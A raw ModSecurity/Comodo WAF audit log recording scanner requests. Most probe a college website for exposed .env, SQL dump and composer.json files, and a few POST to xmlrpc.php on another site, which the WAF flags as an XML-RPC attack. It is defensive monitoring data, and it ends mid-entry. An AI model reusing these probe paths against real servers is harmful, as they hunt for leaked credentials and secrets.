sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e00d656c-Z-- --ef98714a-A-- [16/Jun/2025:06:17:02.282109 +0530] aE9phZLRu31pT8F-J2ZONQAAAAc 185.177.72.210 38486 127.0.0.1 7081 --ef98714a-B-- GET /:8443/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ef98714a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=810e834eb197dc3c6005ca06e076421f1750034822; expires=Mon, 16 Jun 2025 01:47:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ef98714a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env"] [unique_id "aE9phZLRu31pT8F-J2ZONQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034821566782 715421 (- - -) Stopwatch2: 1750034821566782 715421; combined=2599, p1=504, p2=1973, p3=0, p4=0, p5=121, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef98714a-Z-- --53ab2f5d-A-- [16/Jun/2025:06:17:03.300014 +0530] aE9php16HYQp4eDf7R1XlAAAAAI 185.177.72.210 38550 127.0.0.1 7081 --53ab2f5d-B-- GET /2016.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --53ab2f5d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7dbef53b00cd11899d7289149fd2edc71750034823; expires=Mon, 16 Jun 2025 01:47:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --53ab2f5d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2016.sql"] [unique_id "aE9php16HYQp4eDf7R1XlAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034822619798 680293 (- - -) Stopwatch2: 1750034822619798 680293; combined=1974, p1=330, p2=1522, p3=0, p4=0, p5=121, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --53ab2f5d-Z-- --d149626d-A-- [16/Jun/2025:06:17:05.582667 +0530] aE9piFXriBOgqnJNgkwjCQAAAAA 185.177.72.210 38830 127.0.0.1 7081 --d149626d-B-- GET /:8000/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d149626d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d2da3b3f9984c070dd52ca5d47b962591750034825; expires=Mon, 16 Jun 2025 01:47:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d149626d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.copy"] [unique_id "aE9piFXriBOgqnJNgkwjCQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034824847339 735439 (- - -) Stopwatch2: 1750034824847339 735439; combined=2341, p1=478, p2=1770, p3=0, p4=0, p5=93, sr=138, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d149626d-Z-- --2e4a1325-A-- [16/Jun/2025:06:17:08.559512 +0530] aE9pizC9bb-fhYp4LpFTBgAAAAM 185.177.72.210 39064 127.0.0.1 7081 --2e4a1325-B-- GET /:5000/app/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2e4a1325-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3c5eb6a9e4e2a618775ec2067a3f40001750034828; expires=Mon, 16 Jun 2025 01:47:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2e4a1325-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/app/configurationtionura/.env"] [unique_id "aE9pizC9bb-fhYp4LpFTBgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034827900983 658606 (- - -) Stopwatch2: 1750034827900983 658606; combined=1947, p1=368, p2=1471, p3=0, p4=0, p5=108, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e4a1325-Z-- --498ae62d-A-- [16/Jun/2025:06:17:20.330848 +0530] aE9plxqlZKl9zSjMrhQ2ggAAAAE 128.199.112.101 56664 127.0.0.1 7081 --498ae62d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --498ae62d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --498ae62d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9plxqlZKl9zSjMrhQ2ggAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034839383139 947766 (- - -) Stopwatch2: 1750034839383139 947766; combined=2408, p1=404, p2=1628, p3=41, p4=64, p5=169, sr=117, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --498ae62d-Z-- --befd2f41-A-- [16/Jun/2025:06:17:22.246639 +0530] aE9pmfbo0R64L12N_alW9AAAAAQ 185.177.72.210 56744 127.0.0.1 7081 --befd2f41-B-- GET /:8888/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --befd2f41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c48d27d1ea852a34449cb62d1f1719611750034842; expires=Mon, 16 Jun 2025 01:47:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --befd2f41-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/app/configura/.env"] [unique_id "aE9pmfbo0R64L12N_alW9AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034841577157 669545 (- - -) Stopwatch2: 1750034841577157 669545; combined=1855, p1=383, p2=1384, p3=0, p4=0, p5=87, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --befd2f41-Z-- --08d6e53d-A-- [16/Jun/2025:06:17:33.841939 +0530] aE9ppfbo0R64L12N_alW9gAAAAQ 185.177.72.210 47098 127.0.0.1 7081 --08d6e53d-B-- GET /:8080/.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08d6e53d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f19f8d07cbf72f73b147808f990339431750034853; expires=Mon, 16 Jun 2025 01:47:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08d6e53d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.sample"] [unique_id "aE9ppfbo0R64L12N_alW9gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034853166221 675783 (- - -) Stopwatch2: 1750034853166221 675783; combined=1997, p1=405, p2=1495, p3=0, p4=0, p5=96, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08d6e53d-Z-- --ecdc5a36-A-- [16/Jun/2025:06:17:35.746575 +0530] aE9pp6pdvXW4_hknQUU3jAAAAAo 185.177.72.210 47148 127.0.0.1 7081 --ecdc5a36-B-- GET /:8080/app/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ecdc5a36-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f24580bc7d08e610560d4cdd55b377151750034855; expires=Mon, 16 Jun 2025 01:47:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ecdc5a36-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/app/configurationtion/.env"] [unique_id "aE9pp6pdvXW4_hknQUU3jAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034855078970 667670 (- - -) Stopwatch2: 1750034855078970 667670; combined=2190, p1=395, p2=1689, p3=0, p4=0, p5=105, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ecdc5a36-Z-- --9afd6528-A-- [16/Jun/2025:06:17:37.844905 +0530] aE9pqQ9THibLN0xLxETyWgAAAAk 185.177.72.210 47220 127.0.0.1 7081 --9afd6528-B-- GET /crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9afd6528-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ada8b2d1ba99c829bf06046cbb6f2ce11750034857; expires=Mon, 16 Jun 2025 01:47:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9afd6528-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/crm/.env"] [unique_id "aE9pqQ9THibLN0xLxETyWgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034857162556 682439 (- - -) Stopwatch2: 1750034857162556 682439; combined=1679, p1=363, p2=1202, p3=0, p4=0, p5=114, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9afd6528-Z-- --05e5bf3d-A-- [16/Jun/2025:06:17:40.099277 +0530] aE9pq_bo0R64L12N_alW-AAAAAQ 185.177.72.210 45116 127.0.0.1 7081 --05e5bf3d-B-- GET /composer.json HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --05e5bf3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fbcd413ef2ac81414d9f93a33c1edc0b1750034859; expires=Mon, 16 Jun 2025 01:47:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --05e5bf3d-H-- Message: Warning. Matched phrase "/composer.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/composer.json"] [unique_id "aE9pq_bo0R64L12N_alW-AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034859366911 732448 (- - -) Stopwatch2: 1750034859366911 732448; combined=2091, p1=440, p2=1562, p3=0, p4=0, p5=89, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05e5bf3d-Z-- --525cc95d-A-- [16/Jun/2025:06:18:00.190488 +0530] aE9pv9NEcm-DhAkC0ibemQAAAAY 185.177.72.210 56636 127.0.0.1 7081 --525cc95d-B-- GET /:9000/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --525cc95d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dbb35974f0865a3c8cec6225a18cfd641750034880; expires=Mon, 16 Jun 2025 01:48:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --525cc95d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/konfig/.env"] [unique_id "aE9pv9NEcm-DhAkC0ibemQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034879421045 769531 (- - -) Stopwatch2: 1750034879421045 769531; combined=1886, p1=391, p2=1384, p3=0, p4=0, p5=111, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --525cc95d-Z-- --3fc1e03a-A-- [16/Jun/2025:06:18:19.998810 +0530] aE9p0xqlZKl9zSjMrhQ2ngAAAAE 128.199.112.101 55878 127.0.0.1 7081 --3fc1e03a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3fc1e03a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3fc1e03a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9p0xqlZKl9zSjMrhQ2ngAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034899059682 939185 (- - -) Stopwatch2: 1750034899059682 939185; combined=2608, p1=403, p2=1779, p3=43, p4=66, p5=196, sr=135, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fc1e03a-Z-- --21fa3a5a-A-- [16/Jun/2025:06:18:37.709988 +0530] aE9p5TC9bb-fhYp4LpFTPwAAAAM 185.177.72.210 54106 127.0.0.1 7081 --21fa3a5a-B-- GET /:8181/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --21fa3a5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4e1f1eb2b6675d48cf4c728cbffe11c1750034917; expires=Mon, 16 Jun 2025 01:48:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --21fa3a5a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/env/.env"] [unique_id "aE9p5TC9bb-fhYp4LpFTPwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034917026359 683700 (- - -) Stopwatch2: 1750034917026359 683700; combined=2056, p1=421, p2=1545, p3=0, p4=0, p5=89, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --21fa3a5a-Z-- --fb0a2228-A-- [16/Jun/2025:06:18:38.732100 +0530] aE9p5vbo0R64L12N_alXKAAAAAQ 185.177.72.210 54134 127.0.0.1 7081 --fb0a2228-B-- GET /:8880/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fb0a2228-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c6e215f87eebe958e577d651000f79d91750034918; expires=Mon, 16 Jun 2025 01:48:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fb0a2228-H-- Message: Warning. Matched phrase 